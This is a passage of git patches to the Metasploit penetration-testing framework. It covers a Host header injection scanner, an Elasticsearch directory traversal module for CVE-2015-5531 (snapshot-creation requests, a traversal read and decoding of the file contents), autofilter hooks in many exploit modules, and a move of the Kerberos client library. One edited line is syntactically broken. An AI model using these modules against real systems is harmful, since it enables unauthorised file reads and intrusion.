"#{datastore['TARGETHOST']}" + res = send_request_raw( 'uri' => '/', 'method' => 'GET', 'headers' => { - 'host' => p, - 'x-forwarded-host' => p, + 'Host' => target_host, + 'X-Forwarded-Host' => target_host } - }) + ) unless res vprint_error("#{peer} did not reply to our request") return end - if res.headers =~ /#{p}/ || res.body =~ /#{p}/ - print_good("#{peer} is vulnerable to HTTP Host-Header Injection") + if res.headers.include?(target_host) || res.body.include?(target_host) + print_good("#{peer} is vulnerable to HTTP Host header injection") report_vuln( - host: rhost, + host: ip, port: rport, proto: 'tcp', - sname: (ssl ? 'https' : 'http'), - info: "Vulnerable to HTTP Host-Header Injection", + sname: ssl ? 'https' : 'http', + name: 'HTTP Host header injection', + refs: self.references ) else vprint_error("#{peer} returned #{res.code} #{res.message}") @@ -67,4 +67,5 @@ class Metasploit3 < Msf::Auxiliary rescue ::Timeout::Error, ::Errno::EPIPE end end + end From d933962ff992ace3caf8d81350795f03453c72fb Mon Sep 17 00:00:00 2001 From: jaguasch Date: Tue, 13 Oct 2015 18:41:51 +0100 Subject: [PATCH 0899/2172] Last fix, including espreto minor changes --- .../scanner/http/elasticsearch_traversal.rb | 34 ++++++++----------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb index 7f51f3ac67..cb3ef89e37 100644 --- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -22,7 +22,6 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['CVE', '2015-5531'], - ['URL', 'https://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html'], ['PACKETSTORM', '132721'] ], 'Author' => @@ -30,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary 'Benjamin Smith', # Vulnerability discovery 'Pedro Andujar ', # Metasploit module 'Jose A. Guasch ', # Metasploit module + 'Roberto Soares Espreto ' # Metasploit Module ], 'License' => MSF_LICENSE )) @@ -46,14 +46,14 @@ class Metasploit3 < Msf::Auxiliary def proficy? res1 = send_request_raw('method' => 'POST', - 'uri' => '/_snapshot/pwn', + 'uri' => normalize_uri(target_uri.path '_snapshot' 'pwn'), 'data' => '{"type":"fs","settings":{"location":"dsr"}}') res2 = send_request_raw('method' => 'POST', - 'uri' => '/_snapshot/pwnie', + 'uri' => normalize_uri(target_uri.path, '_snapshot' 'pwnie'), 'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}') - if res1.body =~ /true/ && res2.body =~ /true/ + if res1.body.include?('true') && res2.body.include?('true') return true else return false @@ -73,19 +73,21 @@ class Metasploit3 < Msf::Auxiliary if proficy? vprint_good("#{peer} - Check successful") else - vprint_error("#{peer} - ElasticSearch not vulnearble") + print_error("#{peer} - ElasticSearch not vulnerable") return end vprint_status("#{peer} - Retrieving file contents...") - res = send_request_raw('method' => 'GET', - 'uri' => travs) + res = send_request_raw( + 'method' => 'GET', + 'uri' => travs + ) if res && res.code == 400 return res.body else - vprint_status("#{res.code}\n#{res.body}") + print_status("#{res.code}\n#{res.body}") return nil end end @@ -95,17 +97,13 @@ class Metasploit3 < Msf::Auxiliary filename = filename[1, filename.length] if filename =~ %r{/^\//} contents = read_file(filename) - - if contents.nil? - print_error("#{peer} - File not downloaded") - return - end + fail_with(Failure::UnexpectedReply, "#{peer} - File not downloaded") if contents.nil? begin data_hash = JSON.parse(contents) - rescue JSON::ParserError - vprint_error("#{peer} - Unable to parse JSON") - return + rescue JSON::ParserError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + return [] end fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*') @@ -118,8 +116,6 @@ class Metasploit3 < Msf::Auxiliary fcontent, fname ) - vprint_good("#{peer} - File saved in: #{path}") - + print_good("#{peer} - File saved in: #{path}") end end - From d67b55d195b7df3969b821cdfbcf5e5eb9b1749e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 13 Oct 2015 15:56:18 -0700 Subject: [PATCH 0900/2172] Fix autofilter values for aggressive modules --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 4 ++++ modules/exploits/linux/antivirus/escan_password_exec.rb | 4 ++++ modules/exploits/multi/http/coldfusion_rds.rb | 4 ++++ modules/exploits/multi/http/jboss_maindeployer.rb | 4 ++++ modules/exploits/multi/http/oracle_reports_rce.rb | 4 ++++ modules/exploits/multi/http/struts_default_action_mapper.rb | 4 ++++ modules/exploits/multi/misc/arkeia_agent_exec.rb | 5 +++++ modules/exploits/multi/misc/java_jmx_server.rb | 4 ++++ modules/exploits/unix/webapp/google_proxystylesheet_exec.rb | 4 ++++ modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb | 4 ++++ modules/exploits/unix/webapp/wp_pixabay_images_upload.rb | 4 ++++ modules/exploits/windows/http/rejetto_hfs_exec.rb | 4 ++++ .../exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb | 4 ++++ 13 files changed, 53 insertions(+) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index c48c552383..56553b4540 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -277,4 +277,8 @@ class Metasploit4 < Msf::Exploit::Remote send_response(cli, @pl) end + def autofilter + true + end + end diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb index df378d022c..38ad269906 100644 --- a/modules/exploits/linux/antivirus/escan_password_exec.rb +++ b/modules/exploits/linux/antivirus/escan_password_exec.rb @@ -107,6 +107,10 @@ class Metasploit3 < Msf::Exploit::Remote end end + def autofilter + true + end + def exploit @pl = generate_payload_exe if @pl.blank? diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index 33e0c92090..bdeb327d67 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -148,6 +148,10 @@ class Metasploit3 < Msf::Exploit::Remote end end + def autofilter + true + end + #task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-( #instead we use a CFML filedropper to embed our payload and execute it. #this also removes the dependancy of using the probe.cfm to execute the file. diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 846fd9daba..514a6a45b3 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -326,6 +326,10 @@ class Metasploit3 < Msf::Exploit::Remote res end + def autofilter + true + end + # Try to autodetect the target platform def detect_platform(res) if (res.body =~ //m) diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index a51b98785f..d95a151255 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -170,6 +170,10 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, @pl) end + def autofilter + true + end + def upload_payload print_status "#{peer} - Uploading payload ..." path = "/#{@local_path}#{@payload_dir}#{@payload_name}" diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index f2365c7e34..af4acfdf6a 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -343,6 +343,10 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, @pl) end + def autofilter + true + end + # wait for the data to be sent def wait_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...") diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 0087620e60..8570d5745b 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -552,4 +552,9 @@ class Metasploit3 < Msf::Exploit::Remote register_files_for_cleanup("c:\\#{@down_file}.exe") end end + + def autofilter + true + end + end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 5c1f979d8e..d5221281f4 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -93,6 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote end end + def autofilter + return true + end + def check connect diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index 131a9b0928..bc505ad66f 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -59,6 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, data) end + def autofilter + true + end + def check res = send_request_cgi({ 'uri' => '/search', diff --git a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb index 7d7ba20d87..4319647596 100644 --- a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb +++ b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb @@ -146,4 +146,8 @@ class Metasploit3 < Msf::Exploit::Remote send_not_found(cli) end + def autofilter + true + end + end diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb index 81ab361db5..8ad684d180 100644 --- a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -63,6 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote "#{get_uri}.php" end + def autofilter + true + end + def call_payload(file_name) res = send_request_cgi({ 'method' => 'GET', diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb index 47b5642b25..7c24bcaf8f 100644 --- a/modules/exploits/windows/http/rejetto_hfs_exec.rb +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -81,6 +81,10 @@ class Metasploit3 < Msf::Exploit::Remote remove_resource(get_resource) end + def autofilter + true + end + def primer file_name = rand_text_alpha(rand(10)+5) file_ext = '.vbs' diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb index 8afbdce80d..5b423dfa65 100644 --- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb +++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb @@ -74,6 +74,10 @@ class Metasploit3 < Msf::Exploit::Remote end end + def autofilter + true + end + def process_get(cli, request) if request.uri =~ /#{@basename}(\d)\.bcl/ print_status("GET => Payload") From 5e39814860f8ed446bdf934624adbd90695adcef Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 09:03:03 -0500 Subject: [PATCH 0901/2172] Move to the old convention folder --- lib/msf/{ => core/exploit}/kerberos/client.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/as_request.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/as_response.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/base.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/cache_credential.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/pac.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/tgs_request.rb | 0 lib/msf/{ => core/exploit}/kerberos/client/tgs_response.rb | 0 8 files changed, 0 insertions(+), 0 deletions(-) rename lib/msf/{ => core/exploit}/kerberos/client.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/as_request.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/as_response.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/base.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/cache_credential.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/pac.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/tgs_request.rb (100%) rename lib/msf/{ => core/exploit}/kerberos/client/tgs_response.rb (100%) diff --git a/lib/msf/kerberos/client.rb b/lib/msf/core/exploit/kerberos/client.rb similarity index 100% rename from lib/msf/kerberos/client.rb rename to lib/msf/core/exploit/kerberos/client.rb diff --git a/lib/msf/kerberos/client/as_request.rb b/lib/msf/core/exploit/kerberos/client/as_request.rb similarity index 100% rename from lib/msf/kerberos/client/as_request.rb rename to lib/msf/core/exploit/kerberos/client/as_request.rb diff --git a/lib/msf/kerberos/client/as_response.rb b/lib/msf/core/exploit/kerberos/client/as_response.rb similarity index 100% rename from lib/msf/kerberos/client/as_response.rb rename to lib/msf/core/exploit/kerberos/client/as_response.rb diff --git a/lib/msf/kerberos/client/base.rb b/lib/msf/core/exploit/kerberos/client/base.rb similarity index 100% rename from lib/msf/kerberos/client/base.rb rename to lib/msf/core/exploit/kerberos/client/base.rb diff --git a/lib/msf/kerberos/client/cache_credential.rb b/lib/msf/core/exploit/kerberos/client/cache_credential.rb similarity index 100% rename from lib/msf/kerberos/client/cache_credential.rb rename to lib/msf/core/exploit/kerberos/client/cache_credential.rb diff --git a/lib/msf/kerberos/client/pac.rb b/lib/msf/core/exploit/kerberos/client/pac.rb similarity index 100% rename from lib/msf/kerberos/client/pac.rb rename to lib/msf/core/exploit/kerberos/client/pac.rb diff --git a/lib/msf/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/kerberos/client/tgs_request.rb similarity index 100% rename from lib/msf/kerberos/client/tgs_request.rb rename to lib/msf/core/exploit/kerberos/client/tgs_request.rb diff --git a/lib/msf/kerberos/client/tgs_response.rb b/lib/msf/core/exploit/kerberos/client/tgs_response.rb similarity index 100% rename from lib/msf/kerberos/client/tgs_response.rb rename to lib/msf/core/exploit/kerberos/client/tgs_response.rb From db5d83a40ad7f79e4968f5447236efe9e237bf15 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 09:17:06 -0500 Subject: [PATCH 0902/2172] Move namespaces --- lib/msf/core.rb | 3 - lib/msf/core/exploit/kerberos/client.rb | 248 +++++---- .../exploit/kerberos/client/as_request.rb | 184 ++++--- .../exploit/kerberos/client/as_response.rb | 66 ++- lib/msf/core/exploit/kerberos/client/base.rb | 66 ++- .../kerberos/client/cache_credential.rb | 250 +++++---- lib/msf/core/exploit/kerberos/client/pac.rb | 202 ++++--- .../exploit/kerberos/client/tgs_request.rb | 502 +++++++++--------- .../exploit/kerberos/client/tgs_response.rb | 114 ++-- lib/msf/core/exploit/mixins.rb | 3 + .../kerberos/ms14_068_kerberos_checksum.rb | 2 +- 11 files changed, 812 insertions(+), 828 deletions(-) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b4..d39635482c 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -72,9 +72,6 @@ require 'msf/http/wordpress' require 'msf/http/typo3' require 'msf/http/jboss' -# Kerberos Support -require 'msf/kerberos/client' - # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/exploit/kerberos/client.rb b/lib/msf/core/exploit/kerberos/client.rb index fe6ba1a0e7..b6e5432ae2 100644 --- a/lib/msf/core/exploit/kerberos/client.rb +++ b/lib/msf/core/exploit/kerberos/client.rb @@ -1,139 +1,137 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - require 'msf/kerberos/client/base' - require 'msf/kerberos/client/as_request' - require 'msf/kerberos/client/as_response' - require 'msf/kerberos/client/tgs_request' - require 'msf/kerberos/client/tgs_response' - require 'msf/kerberos/client/pac' - require 'msf/kerberos/client/cache_credential' +module Msf::Exploit::Remote::Kerberos + module Client + require 'msf/core/exploit/kerberos/client/base' + require 'msf/core/exploit/kerberos/client/as_request' + require 'msf/core/exploit/kerberos/client/as_response' + require 'msf/core/exploit/kerberos/client/tgs_request' + require 'msf/core/exploit/kerberos/client/tgs_response' + require 'msf/core/exploit/kerberos/client/pac' + require 'msf/core/exploit/kerberos/client/cache_credential' - include Msf::Kerberos::Client::Base - include Msf::Kerberos::Client::AsRequest - include Msf::Kerberos::Client::AsResponse - include Msf::Kerberos::Client::TgsRequest - include Msf::Kerberos::Client::TgsResponse - include Msf::Kerberos::Client::Pac - include Msf::Kerberos::Client::CacheCredential + include Msf::Exploit::Remote::Kerberos::Client::Base + include Msf::Exploit::Remote::Kerberos::Client::AsRequest + include Msf::Exploit::Remote::Kerberos::Client::AsResponse + include Msf::Exploit::Remote::Kerberos::Client::TgsRequest + include Msf::Exploit::Remote::Kerberos::Client::TgsResponse + include Msf::Exploit::Remote::Kerberos::Client::Pac + include Msf::Exploit::Remote::Kerberos::Client::CacheCredential - # @!attribute client - # @return [Rex::Proto::Kerberos::Client] The kerberos client - attr_accessor :client + # @!attribute client + # @return [Rex::Proto::Kerberos::Client] The kerberos client + attr_accessor :client - def initialize(info = {}) - super + def initialize(info = {}) + super - register_options( - [ - Opt::RHOST, - Opt::RPORT(88), - OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) - ], self.class - ) + register_options( + [ + Opt::RHOST, + Opt::RPORT(88), + OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) + ], self.class + ) + end + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the remote port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the TCP timeout + # + # @return [Fixnum] + def timeout + datastore['Timeout'] + end + + # Returns the kdc peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Creates a kerberos connection + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :rhost + # @option opts [] :rport + # @return [Rex::Proto::Kerberos::Client] + def connect(opts={}) + kerb_client = Rex::Proto::Kerberos::Client.new( + host: opts[:rhost] || rhost, + port: (opts[:rport] || rport).to_i, + timeout: (opts[:timeout] || timeout).to_i, + context: + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + protocol: 'tcp' + ) + + disconnect if client + self.client = kerb_client + + kerb_client + end + + # Disconnects the Kerberos client + # + # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect + def disconnect(kerb_client = client) + kerb_client.close if kerb_client + + if kerb_client == client + self.client = nil end + end - # Returns the target host - # - # @return [String] - def rhost - datastore['RHOST'] - end + # Performs cleanup as necessary, disconnecting the Kerberos client + # if it's still established. + def cleanup + super + disconnect + end - # Returns the remote port - # - # @return [Fixnum] - def rport - datastore['RPORT'] - end + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::AsRequest#build_as_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_as(opts = {}) + connect(opts) + req = build_as_request(opts) + res = client.send_recv(req) + disconnect + res + end - # Returns the TCP timeout - # - # @return [Fixnum] - def timeout - datastore['Timeout'] - end - - # Returns the kdc peer - # - # @return [String] - def peer - "#{rhost}:#{rport}" - end - - # Creates a kerberos connection - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :rhost - # @option opts [] :rport - # @return [Rex::Proto::Kerberos::Client] - def connect(opts={}) - kerb_client = Rex::Proto::Kerberos::Client.new( - host: opts[:rhost] || rhost, - port: (opts[:rport] || rport).to_i, - timeout: (opts[:timeout] || timeout).to_i, - context: - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - protocol: 'tcp' - ) - - disconnect if client - self.client = kerb_client - - kerb_client - end - - # Disconnects the Kerberos client - # - # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect - def disconnect(kerb_client = client) - kerb_client.close if kerb_client - - if kerb_client == client - self.client = nil - end - end - - # Performs cleanup as necessary, disconnecting the Kerberos client - # if it's still established. - def cleanup - super - disconnect - end - - # Sends a kerberos AS request and reads the response - # - # @param opts [Hash] - # @return [Rex::Proto::Kerberos::Model::KdcResponse] - # @see Msf::Kerberos::Client::AsRequest#build_as_request - # @see Rex::Proto::Kerberos::Model::KdcResponse - def send_request_as(opts = {}) - connect(opts) - req = build_as_request(opts) - res = client.send_recv(req) - disconnect - res - end - - # Sends a kerberos AS request and reads the response - # - # @param opts [Hash] - # @return [Rex::Proto::Kerberos::Model::KdcResponse] - # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request - # @see Rex::Proto::Kerberos::Model::KdcResponse - def send_request_tgs(opts = {}) - connect(opts) - req = build_tgs_request(opts) - res = client.send_recv(req) - disconnect - res - end + # Sends a kerberos AS request and reads the response + # + # @param opts [Hash] + # @return [Rex::Proto::Kerberos::Model::KdcResponse] + # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request + # @see Rex::Proto::Kerberos::Model::KdcResponse + def send_request_tgs(opts = {}) + connect(opts) + req = build_tgs_request(opts) + res = client.send_recv(req) + disconnect + res end end end diff --git a/lib/msf/core/exploit/kerberos/client/as_request.rb b/lib/msf/core/exploit/kerberos/client/as_request.rb index dd4b673b63..8d3a6ac8eb 100644 --- a/lib/msf/core/exploit/kerberos/client/as_request.rb +++ b/lib/msf/core/exploit/kerberos/client/as_request.rb @@ -1,110 +1,108 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - module AsRequest +module Msf::Exploit::Remote::Kerberos + module Client + module AsRequest - # Builds a kerberos AS request - # - # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::Model::KdcRequestBody>}] - # @option opts [Array] :pa_data - # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body - # @return [Rex::Proto::Kerberos::Model::KdcRequest] - # @see [Rex::Proto::Kerberos::Model::KdcRequest] - # @see #build_as_pa_time_stamp - # @see #build_as_request_body - def build_as_request(opts = {}) - pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) - body = opts[:body] || build_as_request_body(opts) + # Builds a kerberos AS request + # + # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::Model::KdcRequestBody>}] + # @option opts [Array] :pa_data + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @see [Rex::Proto::Kerberos::Model::KdcRequest] + # @see #build_as_pa_time_stamp + # @see #build_as_request_body + def build_as_request(opts = {}) + pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) + body = opts[:body] || build_as_request_body(opts) - request = Rex::Proto::Kerberos::Model::KdcRequest.new( - pvno: 5, - msg_type: Rex::Proto::Kerberos::Model::AS_REQ, - pa_data: pa_data, - req_body: body - ) + request = Rex::Proto::Kerberos::Model::KdcRequest.new( + pvno: 5, + msg_type: Rex::Proto::Kerberos::Model::AS_REQ, + pa_data: pa_data, + req_body: body + ) - request - end + request + end - # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure - # - # @param opts [Hash{Symbol => }] - # @option opts [Time] :time_stamp - # @option opts [Fixnum] :pausec - # @option opts [Fixnum] :etype - # @option opts [String] :key - # @return [Rex::Proto::Kerberos::Model::PreAuthData] - # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::PreAuthData - def build_as_pa_time_stamp(opts = {}) - time_stamp = opts[:time_stamp] || Time.now - pausec = opts[:pausec] || 0 - etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - key = opts[:key] || '' + # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure + # + # @param opts [Hash{Symbol => }] + # @option opts [Time] :time_stamp + # @option opts [Fixnum] :pausec + # @option opts [Fixnum] :etype + # @option opts [String] :key + # @return [Rex::Proto::Kerberos::Model::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_as_pa_time_stamp(opts = {}) + time_stamp = opts[:time_stamp] || Time.now + pausec = opts[:pausec] || 0 + etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + key = opts[:key] || '' - pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( - pa_time_stamp: time_stamp, - pausec: pausec - ) + pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( + pa_time_stamp: time_stamp, + pausec: pausec + ) - enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: etype, - cipher: pa_time_stamp.encrypt(etype, key) - ) + enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: etype, + cipher: pa_time_stamp.encrypt(etype, key) + ) - pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, - value: enc_time_stamp.encode - ) + pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, + value: enc_time_stamp.encode + ) - pa_enc_time_stamp - end + pa_enc_time_stamp + end - # Builds a kerberos AS request body - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :options - # @option opts [Time] :from - # @option opts [Time] :till - # @option opts [Time] :rtime - # @option opts [Fixnum] :nonce - # @option opts [Fixnum] :etype - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname - # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] - # @see #build_client_name - # @see #build_server_name - # @see Rex::Proto::Kerberos::Model::KdcRequestBody - def build_as_request_body(opts = {}) - options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable - from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') - till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') - rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') - nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i - etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - sname = opts[:sname] || build_server_name(opts) + # Builds a kerberos AS request body + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see #build_client_name + # @see #build_server_name + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_as_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) - body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( - options: options, - cname: cname, - realm: realm, - sname: sname, - from: from, - till: till, - rtime: rtime, - nonce: nonce, - etype: etype - ) + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype + ) - body - end + body end end end diff --git a/lib/msf/core/exploit/kerberos/client/as_response.rb b/lib/msf/core/exploit/kerberos/client/as_response.rb index 0a629d36d2..b954fd3329 100644 --- a/lib/msf/core/exploit/kerberos/client/as_response.rb +++ b/lib/msf/core/exploit/kerberos/client/as_response.rb @@ -1,45 +1,43 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - module AsResponse +module Msf::Exploit::Remote::Kerberos + module Client + module AsResponse - # Extracts the session key from a Kerberos AS Response - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @see Rex::Proto::Kerberos::Model::KdcResponse - # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def extract_session_key(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) - enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + # Extracts the session key from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Rex::Proto::Kerberos::Model::EncryptionKey + def extract_session_key(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - 